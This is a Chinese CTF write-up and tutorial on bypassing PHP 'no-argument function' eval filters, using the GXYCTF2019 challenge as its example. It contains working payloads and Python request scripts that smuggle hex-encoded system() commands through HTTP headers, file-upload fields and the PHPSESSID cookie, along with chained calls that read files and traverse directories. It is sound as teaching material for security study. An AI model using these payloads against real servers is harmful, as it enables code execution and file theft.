0%

无参数函数RCE - [GXYCTF2019]禁止套娃

无参数函数RCE - [GXYCTF2019]禁止套娃

思路

dirsearch扫描目录,发现git泄露。

image-20210517200229361

githack下载index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//index.php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

第六行过滤了datafilterphpphar几种协议。

第七行使用preg_replace,将形如xxx(的字符串和)递归式地删除。若最后只剩下了;,则通过检查。

第八行过滤了etnainfodecbinhexoctpilog,进制转换和带有get的函数都无法执行。

因为第六行的过滤,无法直接进行文件读取,而第10行就可以进行有条件的代码执行。

通过七八两行的过滤,此处的代码执行只能执行类似aaa(bbb(ccc(ddd())));这样的套娃代码。

payload构造

  1. 使用print_r()进行输出;
  2. 使用readfile()highlight_file()读取文件;

这样一来,就需要想办法用函数构造flag.php

  1. scandir()来获取当前目录下全部文件和目录。

    image-20210517194829253

但是scandir()需要传入路径作为参数。读取当前目录时应该传入.。接下来就要用函数来构造一个.

  1. 使用localeconv()获取第一项为.的数组。

定义和用法

localeconv() 函数返回一包含本地数字及货币格式信息的数组。
localeconv() 函数会返回以下数组元素:

  • [decimal_point] - 小数点字符。
  • [thousands_sep] - 千位分隔符。
  • [int_curr_symbol] - 货币符号 (例如:USD)。
  • [currency_symbol] - 货币符号 (例如:$)。
  • [mon_decimal_point] - 货币小数点字符。
  • [mon_thousands_sep] - 货币千位分隔符。
  • ……

接下来获取localeconv()返回数组的第一位即可。

  1. 使用current()pos()来获取数组的第一项。
  • pos() 函数返回数组中的当前元素的值。该函数是 current() 函数的别名。
  • current() 返回数组中的当前元素的值。
  • end() 将内部指针指向数组中的最后一个元素,并输出。
  • next() 将内部指针指向数组中的下一个元素,并输出。
  • prev() 将内部指针指向数组中的上一个元素,并输出。
  • reset() 将内部指针指向数组中的第一个元素,并输出。
  • each() 返回当前元素的键名和键值,并将内部指针向前移动。

将目前的payloadsend一下,返回数组的第3项是flag.php

image-20210517195836652

  1. 通过array_reverse()将返回数组反转过来,用next()获取第二项。

    image-20210517200504272

    但,如果array再多几项,并且flag.php并不位于前后两位。

    这时就不能使用pos()end()next()了。

    可以使用arrar_rand()来获取array中的随机项,不过这样获取的是array的key,而不是值。

    为了获取值,还需要使用array_filp()函数,将array的键值对调换。

    此时,payload:?exp=print_r(readfile(array_rand(array_flip(scandir(current(localeconv())))));

至此,payload已经构造完毕:?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));

世界线二

既然RCE的部分存在严格过滤,那么让payload调用其它地方的代码。

除了RCE部分之外,可控的输入还有一处,即PHPSESSID

可以使用session_start()来获取当前用户设置的session,并使用session_id()来获取session的值。

构造payload:

  • RCE部分:?exp=readfile(session_id(session_start()));
  • PHPSESSID:PHPSESSID=flag.php

More about RCE

什么是无参数函数RCE

传统意义上,如果我们有

1
eval($_GET['code']);

即代表我们拥有了一句话木马,可以进行getshell,例如

img

但是如果有如下限制

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
eval($_GET['code']);
}

我们会发现我们使用参数则无法通过正则的校验

1
/[^\W]+\((?R)?\)/

而该正则,正是我们说的无参数函数的校验,其只允许执行如下格式函数

1
2
a(b(c()));
a();

但不允许

1
a('123');

这样一来,失去了参数,我们进行RCE的难度则会大幅上升。
而本篇文章旨在bypass这种限制,并做出一些更苛刻条件的Bypass。

法1:getenv()

查阅php手册,有非常多的超全局变量

1
2
3
4
5
6
7
8
9
$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV

我们可以使用$_ENV,对应函数为getenv()

img

虽然getenv()可获取当前环境变量,但我们怎么从一个偌大的数组中取出我们指定的值成了问题

这里可以使用方法:

img

效果如下

img

但是我不想要下标,我想要数组的值,那么我们可以使用

img

两者结合使用即可有如下效果

img

我们则可用爆破的方式获取数组中任意位置需要的值,那么即可使用getenv(),并获取指定位置的恶意参数

法二:getallheaders()

之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header即可
在apache2环境下,我们有函数getallheaders()可返回
我们可以看一下返回值

1
2
3
4
5
6
7
8
9
array(8) { 
["Host"]=> string(14) "106.14.114.127"
["Connection"]=> string(10) "keep-alive"
["Cache-Control"]=> string(9) "max-age=0"
["Upgrade-Insecure-Requests"]=> string(1) "1"
["User-Agent"]=> string(120) "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36"
["Accept"]=> string(118) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
["Accept-Encoding"]=> string(13) "gzip, deflate" ["Accept-Language"]=> string(14) "zh-CN,zh;q=0.9"
}

我们可以看到,成功返回了http header,我们可以在header中做一些自定义的手段,例如

img

此时我们再将结果中的恶意命令取出

1
var_dump(end(getallheaders()));

img

这样一来相当于我们将http header中的sky变成了我们的参数,可用其进行bypass 无参数函数执行

例如

img

那么可以进一步利用http header的sky属性进行rce

img

法三:get_defined_vars()

使用getallheaders()其实具有局限性,因为他是apache的函数,如果目标中间件不为apache,那么这种方法就会失效,我们也没有更加普遍的方式呢?

这里我们可以使用get_defined_vars(),首先看一下它的回显

img

发现其可以回显全局变量

1
2
3
4
$_GET
$_POST
$_FILES
$_COOKIE

我们这里的选择也就具有多样性,可以利用$_GET进行RCE,例如

img

还是和之前的思路一样,将恶意参数取出

img

发现可以成功RCE

但一般网站喜欢对

1
2
3
$_GET
$_POST
$_COOKIE

做全局过滤,所以我们可以尝试从$_FILES下手,这就需要我们自己写一个上传

img

可以发现空格会被替换成,为防止干扰我们用hex编码进行RCE

img

最终脚本如下

1
2
3
4
5
6
7
8
9
10
11
import requests
from io import BytesIO

payload = "system('ls /tmp');".encode('hex')
files = {
payload: BytesIO('sky cool!')
}

r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)

print r.content

法四:session_id()

之前我们使用$_FILES下手,其实这里还能从$_COOKIE下手:

我们有函数

img

可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,那么我们就有了新的思路,即hex2bin

脚本如下

1
2
3
4
5
6
7
8
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

即可达成RCE和bypass的目的

法五:dirname() & chdir()

为什么一定要RCE呢?我们能不能直接读文件?

之前的方法都基于可以进行RCE,如果目标真的不能RCE呢?我们能不能进行任意读取?

那么想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?

首先,我们可以利用getcwd()获取当前目录

1
2
?code=var_dump(getcwd());
string(13) "/var/www/html"

那么怎么进行当前目录的目录遍历呢?

这里用scandir()即可

1
2
?code=var_dump(scandir(getcwd()));
array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }

那么既然不在这一层目录,如何进行目录上跳呢?

我们用dirname()即可

1
2
?code=var_dump(scandir(dirname(getcwd())));
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }

那么怎么更改我们的当前目录呢?这里我们发现有函数可以更改当前目录

1
chdir ( string $directory ) : bool

将 PHP 的当前目录改为 directory。

所以我们这里在

1
dirname(getcwd())

进行如下设置即可

1
chdir(dirname(getcwd()))

我们尝试读取/var/www/123

1
http://localhost/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

即可进行文件读取

-EOF-